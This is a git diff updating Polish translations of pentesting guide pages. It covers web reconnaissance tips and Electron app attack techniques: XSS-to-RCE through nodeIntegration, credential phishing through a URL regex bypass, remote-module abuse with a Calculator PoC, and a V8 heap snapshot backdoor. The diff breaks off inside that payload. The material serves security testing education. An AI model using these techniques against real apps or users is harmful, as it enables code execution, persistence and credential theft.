“params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) - **Comments:** Sprawdź komentarze we wszystkich plikach — możesz znaleźć **credentials** lub **ukrytą funkcjonalność**. -- Jeśli bierzesz udział w **CTF**, „popularny” trick to **ukrycie** **informacji** w komentarzach po **prawej** stronie **strony** (używając setek spacji, żeby nie widzieć danych przy otwarciu source w przeglądarce). Inną możliwością jest użycie kilku nowych linii i **ukrycie informacji** w komentarzu na **dole** strony. -- **API keys**: Jeśli **znajdziesz jakikolwiek API key**, dostępne są projekty pokazujące jak używać kluczy z różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API keys: Jeśli znajdziesz klucz API zaczynający się od **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik możesz użyć projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) aby sprawdzić, do których API klucz ma dostęp. -- **S3 Buckets**: Podczas spideringu sprawdź, czy jakikolwiek **subdomain** lub link związany jest z S3 bucketem. W takim wypadku [**sprawdź** uprawnienia bucketu](buckets/index.html). +- Jeśli bierzesz udział w **CTF**, "powszechną" sztuczką jest **ukrycie** **informacji** w komentarzach po **prawej** stronie **strony** (używając **setek** **spacji**, żeby nie widzieć danych, jeśli otworzysz źródło w przeglądarce). Inną możliwością jest użycie **wielu nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony. +- **API keys**: Jeśli **znajdziesz jakikolwiek API key**, istnieją projekty pokazujące jak używać kluczy z różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: Jeśli znajdziesz klucz API wyglądający jak **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik możesz użyć projektu [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) aby sprawdzić, do których API klucz ma dostęp. +- **S3 Buckets**: Podczas spideringu sprawdź, czy jakikolwiek **subdomain** lub link jest powiązany z jakimś **S3 bucket**. W takim przypadku [**sprawdź** uprawnienia bucketu](buckets/index.html). -### Special findings +### Specjalne znaleziska -Podczas wykonywania **spideringu** i **brute-forcingu** możesz natrafić na **interesujące** **znaleziska**, które należy **zauważyć**. +**Podczas** wykonywania **spideringu** i **brute-forcingu** możesz natrafić na **interesujące** **rzeczy**, na które trzeba zwrócić **uwagę**. **Interesujące pliki** -- Szukaj **linków** do innych plików wewnątrz plików **CSS**. -- [If you find a _**.git**_ file some information can be extracted](git.md) -- Jeśli znajdziesz plik _**.env**_ można znaleźć informacje takie jak api keys, hasła do baz danych i inne dane. -- Jeśli znajdziesz **API endpoints** powinieneś je [również przetestować](web-api-pentesting.md). To nie są pliki, ale prawdopodobnie „będą wyglądać” jak pliki. -- **JS files**: W sekcji spideringa wspomniano kilka narzędzi, które potrafią ekstrahować ścieżki z plików JS. Warto też **monitorować każdy znaleziony plik JS**, ponieważ w niektórych przypadkach zmiana może wskazywać, że do kodu wprowadzono potencjalną podatność. Możesz użyć na przykład [**JSMon**](https://github.com/robre/jsmon)**.** -- Powinieneś też sprawdzić odkryte pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole) żeby znaleźć czy są podatne. +- Szukaj **linków** do innych plików w **CSS**. +- [Jeśli znajdziesz _**.git**_ można wyciągnąć pewne informacje](git.md) +- Jeśli znajdziesz _**.env**_ możesz znaleźć informacje takie jak api keys, hasła do db i inne dane. +- Jeśli znajdziesz **API endpoints** powinieneś je [także przetestować](web-api-pentesting.md). To nie są pliki, ale prawdopodobnie będą "wyglądać" jak pliki. +- **JS files**: W sekcji spideringu wspomniano kilka narzędzi, które mogą ekstrahować ścieżki z plików JS. Warto także **monitorować każdy znaleziony plik JS**, ponieważ w niektórych przypadkach zmiana może wskazywać, że potencjalna podatność została wprowadzona do kodu. Możesz użyć na przykład [**JSMon**](https://github.com/robre/jsmon)**.** +- Powinieneś też sprawdzić odkryte pliki JS za pomocą [**RetireJS**](https://github.com/retirejs/retire.js/) lub [**JSHole**](https://github.com/callforpapers-source/jshole) aby znaleźć czy są podatne. - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) -- **TrainFuck**](https://github.com/taco-cy/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` +- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` - W wielu przypadkach będziesz musiał **zrozumieć wyrażenia regularne** użyte w kodzie. Przydatne będą: [https://regex101.com/](https://regex101.com) lub [https://pythonium.net/regex](https://pythonium.net/regex) -- Możesz także **monitorować pliki, w których wykryto formularze**, ponieważ zmiana parametrów lub pojawienie się nowego formularza może wskazywać na nową potencjalnie podatną funkcjonalność. +- Możesz także **monitorować pliki, w których wykryto formularze**, gdyż zmiana parametrów lub pojawienie się nowego formularza może wskazywać na potencjalnie nową podatną funkcjonalność. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -315,21 +314,21 @@ Podczas wykonywania **spideringu** i **brute-forcingu** możesz natrafić na **i **502 Proxy Error** -Jeśli którakolwiek strona **odpowiada** tym **kodem**, prawdopodobnie to źle skonfigurowany proxy. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem Host i innymi standardowymi nagłówkami), **proxy** spróbuje uzyskać dostęp do _**google.com**_ i w ten sposób możesz znaleźć SSRF. +Jeśli jakaś strona **odpowiada** tym **kodem**, prawdopodobnie jest to **źle skonfigurowany proxy**. **Jeśli wyślesz żądanie HTTP takie jak: `GET https://google.com HTTP/1.1`** (z nagłówkiem host i innymi typowymi nagłówkami), **proxy** spróbuje **dostępować** się do _**google.com**_ **i znajdziesz SSRF.** **NTLM Authentication - Info disclosure** -Jeżeli serwer żądający uwierzytelnienia jest **Windows** lub znajdziesz stronę logowania proszącą o Twoje **credentials** (i pytającą o **domain** **name**), możesz wywołać **wyciek informacji**.\ -**Wyślij** nagłówek: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i z powodu działania **NTLM authentication**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\ -Możesz zautomatyzować to używając nmap pluginu "_http-ntlm-info.nse_". +Jeśli serwer żądający autoryzacji jest **Windows** lub znajdziesz login proszący o Twoje **credentials** (i proszący o **nazwę domeny**), możesz wywołać **ujawnienie informacji**.\ +**Wyślij** nagłówek: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i ze względu na sposób działania **NTLM authentication**, serwer odpowie wewnętrznymi informacjami (wersja IIS, wersja Windows...) w nagłówku "WWW-Authenticate".\ +Możesz **zautomatyzować** to przy użyciu **nmap pluginu** "_http-ntlm-info.nse_". **HTTP Redirect (CTF)** -Można **umieścić treść** wewnątrz **Redirection**. Ta treść **nie będzie widoczna dla użytkownika** (przeglądarka wykona przekierowanie), ale coś może być w ten sposób **ukryte**. +Możliwe jest **umieszczenie zawartości** wewnątrz **Redirection**. Ta zawartość **nie będzie widoczna dla użytkownika** (ponieważ przeglądarka wykona przekierowanie), ale coś może być **ukryte** w środku. -### Web Vulnerabilities Checking +### Sprawdzanie podatności webowych -Gdy wykonasz już kompleksową enumerację aplikacji webowej, czas sprawdzić wiele możliwych podatności. Checklista znajduje się tutaj: +Gdy wykonano już kompleksową enumerację aplikacji webowej, czas sprawdzić wiele możliwych podatności. Możesz znaleźć checklistę tutaj: {{#ref}} @@ -342,11 +341,11 @@ Więcej informacji o web vulns: - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) - [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection) -### Monitor Pages for changes +### Monitorowanie stron pod kątem zmian Możesz użyć narzędzi takich jak [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) do monitorowania stron pod kątem modyfikacji, które mogą wprowadzić podatności. -### HackTricks Automatic Commands +### HackTricks Automatyczne polecenia ``` Protocol_Name: Web #Protocol Abbreviation if there is one. Port_Number: 80,443 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 7d653d2c0..5630c1446 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -6,12 +6,12 @@ Electron łączy lokalny backend (z **NodeJS**) i frontend (**Chromium**), chociaż brakuje mu niektórych mechanizmów bezpieczeństwa nowoczesnych przeglądarek. -Zazwyczaj kod aplikacji Electron znajdziesz wewnątrz pakietu `.asar`; aby uzyskać kod, musisz go wyodrębnić: +Zazwyczaj kod aplikacji Electron można znaleźć wewnątrz pliku `.asar`; aby uzyskać kod, trzeba go wyodrębnić: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` -W kodzie źródłowym aplikacji Electron, w pliku `packet.json`, można znaleźć wskazany plik `main.js`, w którym ustawione są konfiguracje bezpieczeństwa. +W kodzie źródłowym aplikacji Electron, w pliku `packet.json`, określono plik `main.js`, w którym ustawione są konfiguracje bezpieczeństwa. ```json { "name": "standard-notes", @@ -20,11 +20,11 @@ W kodzie źródłowym aplikacji Electron, w pliku `packet.json`, można znaleź Electron ma 2 typy procesów: - Proces główny (ma pełny dostęp do NodeJS) -- Proces renderera (powinien mieć ograniczony dostęp do NodeJS ze względów bezpieczeństwa) +- Proces renderujący (powinien mieć ograniczony dostęp do NodeJS ze względów bezpieczeństwa) ![](<../../../images/image (182).png>) -**Proces renderera** będzie oknem przeglądarki ładującym plik: +Proces **renderujący** będzie oknem przeglądarki ładującym plik: ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() @@ -32,18 +32,18 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -Ustawienia **procesu renderera** można **skonfigurować** w **procesie głównym** w pliku main.js. Niektóre konfiguracje będą **zapobiegać uzyskaniu RCE przez aplikację Electron** lub innym podatnościom, jeśli **ustawienia są poprawnie skonfigurowane**. +Ustawienia **procesu renderera** można **skonfigurować** w **procesie głównym** w pliku main.js. Niektóre z tych ustawień mogą **zapobiec uzyskaniu RCE przez aplikację Electron** lub innym podatnościom, jeśli **ustawienia są poprawnie skonfigurowane**. -Aplikacja Electron **może uzyskać dostęp do urządzenia** za pomocą Node apis, chociaż można to skonfigurować, aby temu zapobiec: +Aplikacja Electron może uzyskać dostęp do urządzenia za pomocą Node apis, chociaż można to skonfigurować, aby temu zapobiec: -- **`nodeIntegration`** - jest domyślnie ustawione na `off`. Jeśli jest włączone, umożliwia dostęp do funkcji Node z procesu renderera. -- **`contextIsolation`** - domyślnie jest `on`. Jeśli `off`, procesy główny i renderer nie są izolowane. -- **`preload`** - domyślnie puste. -- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - jest domyślnie `off`. Ograniczy działania, które NodeJS może wykonywać. +- **`nodeIntegration`** - jest domyślnie `off`. Jeśli jest włączone, pozwala na dostęp do funkcji Node z procesu renderera. +- **`contextIsolation`** - jest domyślnie `on`. Jeśli `off`, proces główny i proces renderera nie są odizolowane. +- **`preload`** - domyślnie pusty. +- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - jest domyślnie `off`. Ograniczy działania, które NodeJS może wykonać. - Node Integration in Workers -- **`nodeIntegrationInSubframes`** - jest domyślnie `off`. -- Jeśli **`nodeIntegration`** jest **włączone**, to pozwoli na użycie **Node.js APIs** na stronach WWW, które są **ładowane w iframe'ach** w aplikacji Electron. -- Jeśli **`nodeIntegration`** jest **wyłączone**, wtedy preloady zostaną załadowane w iframe +- **`nodeIntegrationInSubframes`**- jest domyślnie `off`. +- Jeśli **`nodeIntegration`** jest **enabled**, pozwoli to na użycie **Node.js APIs** na stronach WWW, które są **ładowane w iframe'ach** w aplikacji Electron. +- Jeśli **`nodeIntegration`** jest **disabled**, preloady załadują się w iframe Przykład konfiguracji: ```javascript @@ -101,9 +101,9 @@ Zmodyfikuj konfigurację start-main i dodaj użycie proxy, na przykład: ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` -## Lokalna injekcja kodu w aplikacji Electron +## Electron Local Code Injection -Jeśli możesz uruchomić lokalnie aplikację Electron, możliwe, że będziesz w stanie sprawić, by wykonała dowolny kod JavaScript. Zobacz, jak w: +Jeśli możesz lokalnie uruchomić aplikację Electron, możliwe, że będziesz w stanie sprawić, by wykonała dowolny kod JavaScript. Zobacz jak w: {{#ref}} @@ -112,7 +112,7 @@ Jeśli możesz uruchomić lokalnie aplikację Electron, możliwe, że będziesz ## RCE: XSS + nodeIntegration -If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is: +Jeśli **nodeIntegration** jest ustawione na **on**, JavaScript strony WWW może łatwo korzystać z funkcji Node.js, po prostu wywołując `require()`. Na przykład sposób uruchomienia aplikacji calc na Windows wygląda następująco: ```html ``` -## **RCE: XSS + Stare Chromium** +## **RCE: XSS + Stary Chromium** -Jeśli **chromium** używane przez aplikację jest **stare** i występują na nim **znane** **vulnerabilities**, może być możliwe **exploit it and obtain RCE through a XSS**.\ +Jeśli używane przez aplikację **chromium** jest **stare** i istnieją na nie **znane** **vulnerabilities**, może być możliwe **wykorzystanie ich i uzyskanie RCE przez XSS**.\ Przykład można zobaczyć w tym **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) -## **XSS Phishing przez wewnętrzny URL regex bypass** +## **XSS Phishing przez Internal URL regex bypass** -Zakładając, że znalazłeś XSS, ale **nie możesz wywołać RCE ani ukraść plików wewnętrznych**, możesz spróbować użyć go do **wykradzenia poświadczeń poprzez phishing**. +Zakładając, że znalazłeś XSS, ale **nie możesz wywołać RCE ani ukraść plików wewnętrznych** możesz spróbować użyć go do **wykradzenia poświadczeń przez phishing**. -Przede wszystkim musisz wiedzieć, co się dzieje, gdy próbujesz otworzyć nowy URL, sprawdzając kod JS po stronie front-endu: +Przede wszystkim musisz wiedzieć, co się dzieje, kiedy próbujesz otworzyć nowy URL, sprawdzając kod JS w front-endzie: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) ``` -Wywołanie **`openInternally`** zadecyduje, czy **link** zostanie **otwarty** w **oknie desktopowym**, ponieważ jest to link należący do platformy, **czy** zostanie otwarty w **przeglądarce jako zasób 3rd party**. +Wywołanie **`openInternally`** zdecyduje, czy **link** zostanie **otworzony** w **oknie desktopowym**, ponieważ należy do platformy, **czy** zostanie otworzony w **przeglądarce jako zasób 3rd party**. -W przypadku, gdy **regex** użyty przez funkcję jest **vulnerable to bypasses** (na przykład przez **not escaping the dots of subdomains**), atakujący mógłby wykorzystać XSS, aby **open a new window which** będzie znajdować się w infrastrukturze atakującego i **asking for credentials** od użytkownika: +W przypadku, gdy **regex** użyty przez funkcję jest **wrażliwy na obejścia** (na przykład przez **nieuciekanie kropek w subdomenach**), atakujący może wykorzystać XSS do **otwarcia nowego okna**, które będzie znajdować się w infrastrukturze atakującego i **będzie prosić użytkownika o dane uwierzytelniające**: ```html ``` -## Protokół `file://` +## `file://` Protokół -Jak wspomniano w [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) strony uruchamiane na **`file://`** mają jednostronny dostęp do wszystkich plików na Twoim komputerze, co oznacza, że **problemy XSS mogą być użyte do załadowania dowolnych plików** z maszyny użytkownika. Użycie **niestandardowego protokołu** zapobiega takim problemom, ponieważ możesz ograniczyć protokół do serwowania tylko określonego zestawu plików. +As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **własny protokół** prevents issues like this as you can limit the protocol to only serving a specific set of files. -## Moduł Remote +## Remote module -Moduł Remote w Electron umożliwia **procesom renderer dostęp do API procesu głównego**, ułatwiając komunikację w aplikacji Electron. Jednak włączenie tego modułu wprowadza znaczące ryzyko bezpieczeństwa. Zwiększa powierzchnię ataku aplikacji, czyniąc ją bardziej podatną na podatności, takie jak ataki cross-site scripting (XSS). +The Electron Remote module allows **procesom renderera dostęp do API procesu głównego**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks. > [!TIP] -> Chociaż moduł **remote** udostępnia niektóre API z procesu głównego do procesów renderer, nie jest proste uzyskanie RCE tylko przez nadużywanie tych komponentów. Jednak komponenty mogą ujawniać wrażliwe informacje. +> Chociaż moduł **remote** udostępnia niektóre API z procesu głównego do procesów renderera, nie jest prosto uzyskać RCE tylko przez nadużywanie tych komponentów. Jednak komponenty mogą ujawniać wrażliwe informacje. > [!WARNING] -> Wiele aplikacji, które nadal używają modułu remote, robi to w sposób, który **wymaga włączenia NodeIntegration** w procesie renderer, co stanowi **ogromne ryzyko bezpieczeństwa**. +> Wiele aplikacji, które nadal używają modułu remote, robi to w sposób, który **wymaga włączenia NodeIntegration** w procesie renderera, co jest **ogromnym zagrożeniem bezpieczeństwa**. -Od Electron 14 moduł `remote` może być włączony na kilka sposobów, jednak ze względów bezpieczeństwa i wydajności **zaleca się go nie używać**. +Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **zaleca się, aby go nie używać**. -Aby go włączyć, najpierw trzeba **włączyć go w procesie głównym**: +To enable it, it'd first needed to **włączyć go w procesie głównym**: ```javascript const remoteMain = require('@electron/remote/main') remoteMain.initialize() @@ -320,37 +320,37 @@ mainWindow = new BrowserWindow({ }) remoteMain.enable(mainWindow.webContents) ``` -Następnie proces renderera może importować obiekty z modułu w następujący sposób: +Następnie proces renderera może zaimportować obiekty z modułu w następujący sposób: ```javascript import { dialog, getCurrentWindow } from '@electron/remote' ``` -**[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** wskazuje kilka interesujących **funkcji** udostępnionych przez obiekt **`app`** z modułu remote: +The **[post na blogu](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** wskazuje kilka interesujących **funkcji** udostępnionych przez obiekt **`app`** z remote module: - **`app.relaunch([options])`** -- **Restartuje** aplikację przez **zakończenie** bieżącej instancji i **uruchomienie** nowej. Przydatne do **aktualizacji aplikacji** lub znaczących **zmian stanu**. +- **`Restartuje`** aplikację przez **`zakończenie`** bieżącej instancji i **`uruchomienie`** nowej. Przydatne przy **`aktualizacjach aplikacji`** lub znaczących **`zmianach stanu`**. - **`app.setAppLogsPath([path])`** -- **Określa** lub **tworzy** katalog do przechowywania **logów aplikacji**. Logi mogą być **pobrane** lub **zmienione** za pomocą **`app.getPath()`** lub **`app.setPath(pathName, newPath)`**. -- **`app.setAsDefaultProtocolClient(protocol[, path, args])`** -- **Rejestruje** bieżący plik wykonywalny jako **domyślnego obsługiwacza** dla określonego **protokołu**. Możesz podać **własną ścieżkę** i **argumenty** w razie potrzeby. -- **`app.setUserTasks(tasks)`** -- **Dodaje** zadania do **kategorii Zadań** w **Jump List** (na Windows). Każde zadanie może kontrolować, jak aplikacja jest **uruchamiana** lub jakie **argumenty** są przekazywane. -- **`app.importCertificate(options, callback)`** -- **Importuje** certyfikat **PKCS#12** do systemowego **magazynu certyfikatów** (tylko Linux). **Callback** może być użyty do obsługi wyniku. +- **`Definiuje`** lub **`tworzy`** katalog do przechowywania **logów aplikacji**. Logi można **`pobrać`** lub **`zmodyfikować`** używając **`app.getPath()`** lub **`app.setPath(pathName, newPath)`**. +- **`app.setAsDefaultProtocolClient(protocol[, path, args])``** +- **`Rejestruje`** bieżący plik wykonywalny jako **domyślny handler** dla określonego **protokołu**. Możesz podać **własną ścieżkę** i **argumenty**, jeśli to potrzebne. +- **`app.setUserTasks(tasks)``** +- **`Dodaje`** zadania do kategorii **Tasks** w **Jump List** (na Windows). Każde zadanie może kontrolować, jak aplikacja jest **uruchamiana** lub jakie **argumenty** są przekazywane. +- **`app.importCertificate(options, callback)``** +- **`Importuje`** certyfikat **PKCS#12** do systemowego **magazynu certyfikatów** (tylko Linux). Można użyć **callback** do obsługi wyniku. - **`app.moveToApplicationsFolder([options])`** -- **Przenosi** aplikację do folderu **Applications** (na macOS). Pomaga zapewnić **standardową instalację** dla użytkowników Mac. +- **`Przenosi`** aplikację do folderu **Applications** (na macOS). Pomaga zapewnić **standardową instalację** dla użytkowników Mac. - **`app.setJumpList(categories)`** -- **Ustawia** lub **usuwa** niestandardowy **Jump List** w **Windows**. Możesz określić **kategorie**, aby uporządkować sposób wyświetlania zadań użytkownikowi. +- **`Ustawia`** lub **`usuwa`** niestandardowy **Jump List** na **Windows**. Możesz określić **kategorie**, aby zorganizować, jak zadania pojawiają się dla użytkownika. - **`app.setLoginItemSettings(settings)`** -- **Konfiguruje**, które **pliki wykonywalne** uruchamiają się przy **logowaniu** wraz z ich **opcjami** (tylko macOS i Windows). +- **`Konfiguruje`**, które pliki wykonywalne są uruchamiane przy **logowaniu** wraz z ich **opcjonalnymi ustawieniami** (tylko macOS i Windows). Example: ```javascript Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}); Native.app.exit() ``` -## systemPreferences moduł +## Moduł systemPreferences -To **główne API** do uzyskiwania dostępu do ustawień systemowych i **emitowania zdarzeń systemowych** w Electron. Metody takie jak **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** i **setUserDefault** są **częścią** tego modułu. +To **główny interfejs API** umożliwiający dostęp do ustawień systemowych i **emitowanie zdarzeń systemowych** w Electron. Metody takie jak **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** i **setUserDefault** są **częścią** tego modułu. **Przykładowe użycie:** ```javascript @@ -367,13 +367,13 @@ console.log('Recent Places:', recentPlaces); ``` ### **subscribeNotification / subscribeWorkspaceNotification** -* **Nasłuchuje** **natywnych powiadomień macOS** używając NSDistributedNotificationCenter. -* Przed **macOS Catalina**, można było podsłuchiwać **wszystkie** rozproszone powiadomienia, przekazując **nil** do CFNotificationCenterAddObserver. -* Po **Catalina / Big Sur**, aplikacje w sandboxie nadal mogą **subskrybować** wiele zdarzeń (np. **blokady/odblokowania ekranu**, **montowanie woluminów**, **aktywność sieciową** itp.) poprzez rejestrację powiadomień **po nazwie**. +* **Nasłuchuje** natywnych powiadomień macOS za pomocą NSDistributedNotificationCenter. +* Przed **macOS Catalina** można było przechwytywać **wszystkie** rozproszone powiadomienia, przekazując **nil** do CFNotificationCenterAddObserver. +* Po **Catalina / Big Sur** aplikacje w sandboxie nadal mogą **subskrybować** **wiele zdarzeń** (np. **blokady/odblokowania ekranu**, **montowanie woluminów**, **aktywność sieciową** itp.) przez rejestrowanie powiadomień **po nazwie**. ### **getUserDefault / setUserDefault** -* **Interfejsuje** z NSUserDefaults, który przechowuje preferencje **aplikacji** lub **globalne** w macOS. +* **Interfejsuje** z **NSUserDefaults**, które przechowuje preferencje **aplikacyjne** lub **globalne** na macOS. * **getUserDefault** może **pobrać** wrażliwe informacje, takie jak **ostatnie lokalizacje plików** lub **geograficzne położenie użytkownika**. @@ -383,15 +383,15 @@ console.log('Recent Places:', recentPlaces); ## Shell.showItemInFolder -Ta funkcja pokazuje dany plik w menedżerze plików, który **może automatycznie wykonać plik**. +Ta funkcja pokazuje wskazany plik w menedżerze plików, który **może automatycznie uruchomić ten plik**. For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html) ## Content Security Policy -Aplikacje Electron powinny mieć **Content Security Policy (CSP)**, aby **zapobiegać atakom XSS**. **CSP** to **standard bezpieczeństwa**, który pomaga **zabronić** **wykonywania** **niezaufanego kodu** w przeglądarce. +Aplikacje Electron powinny mieć Content Security Policy (CSP), aby **zapobiegać atakom XSS**. CSP to **standard bezpieczeństwa**, który pomaga **uniemożliwić wykonanie niezaufanego kodu** w przeglądarce. -Zazwyczaj **konfiguruje się** ją w pliku `main.js` lub w szablonie `index.html` z CSP wewnątrz **meta tagu**. +Zazwyczaj **konfiguruje się** go w pliku `main.js` lub w szablonie `index.html`, umieszczając CSP w **meta tagu**. For more information check: @@ -403,16 +403,16 @@ pentesting-web/content-security-policy-csp-bypass/ ## **Tools** -- [**Electronegativity**](https://github.com/doyensec/electronegativity) to narzędzie do identyfikowania błędnych konfiguracji i antywzorów bezpieczeństwa w aplikacjach opartych na Electron. -- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) to open source’owy plugin do VS Code dla aplikacji Electron, wykorzystujący Electronegativity. -- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) do sprawdzania podatnych bibliotek third party +- [**Electronegativity**](https://github.com/doyensec/electronegativity) to narzędzie do identyfikacji błędnych konfiguracji i antywzorów bezpieczeństwa w aplikacjach opartych na Electron. +- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) to open source plugin do VS Code dla aplikacji Electron wykorzystujący Electronegativity. +- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) do sprawdzania podatnych bibliotek firm trzecich - [**Electro.ng**](https://electro.ng/): Wymaga zakupu ## Labs -W [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) znajdziesz lab do eksploatacji podatnych aplikacji Electron. +In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps. -Kilka poleceń, które pomogą Ci w labie: +Kilka poleceń, które pomogą Ci w laboratorium: ```bash # Download apps from these URls # Vuln to nodeIntegration @@ -439,16 +439,16 @@ npm start Electron and Chromium-based apps deserialize a prebuilt V8 heap snapshot at startup (v8_context_snapshot.bin, and optionally browser_v8_context_snapshot.bin) to initialize each V8 isolate (main, preload, renderer). Historically, Electron’s integrity fuses did not treat these snapshots as executable content, so they escaped both fuse-based integrity enforcement and OS code-signing checks. As a result, replacing the snapshot in a user-writable installation provided stealthy, persistent code execution inside the app without modifying the signed binaries or ASAR. -Kluczowe punkty -- Luka integralności: EnableEmbeddedAsarIntegrityValidation i OnlyLoadAppFromAsar walidują JavaScript aplikacji wewnątrz ASAR, ale nie obejmowały V8 heap snapshots (CVE-2025-55305). Chromium podobnie nie sprawdza integralności snapshotów. -- Warunki wstępne ataku: lokalne zapisanie pliku do katalogu instalacyjnego aplikacji. Jest to powszechne na systemach, gdzie Electron apps lub Chromium browsers są zainstalowane w ścieżkach zapisywalnych przez użytkownika (np. %AppData%\Local on Windows; /Applications with caveats on macOS). -- Efekt: niezawodne wykonanie attacker JavaScript w dowolnym isolate przez nadpisanie często używanego builtin (tzw. „gadget”), umożliwiając utrwalenie i unikanie weryfikacji code-signing. -- Powierzchnia ataku: Electron apps (nawet z włączonymi fuses) oraz przeglądarki oparte na Chromium, które ładują snapshoty z lokalizacji zapisywalnych przez użytkownika. +Key points +- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar validate app JavaScript inside the ASAR, but they did not cover V8 heap snapshots (CVE-2025-55305). Chromium similarly does not integrity-check snapshots. +- Attack preconditions: Local file write into the app’s installation directory. This is common on systems where Electron apps or Chromium browsers are installed under user-writable paths (e.g., %AppData%\Local on Windows; /Applications with caveats on macOS). +- Effect: Reliable execution of attacker JavaScript in any isolate by clobbering a frequently used builtin (a “gadget”), enabling persistence and evasion of code-signing verification. +- Affected surface: Electron apps (even with fuses enabled) and Chromium-based browsers that load snapshots from user-writable locations. -Generowanie złośliwego snapshotu bez budowania Chromium +Generating a malicious snapshot without building Chromium - Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin. -Przykładowy minimalny payload (potwierdź wykonanie wymuszając awarię) +Example minimal payload (prove execution by forcing a crash) ```js // Build 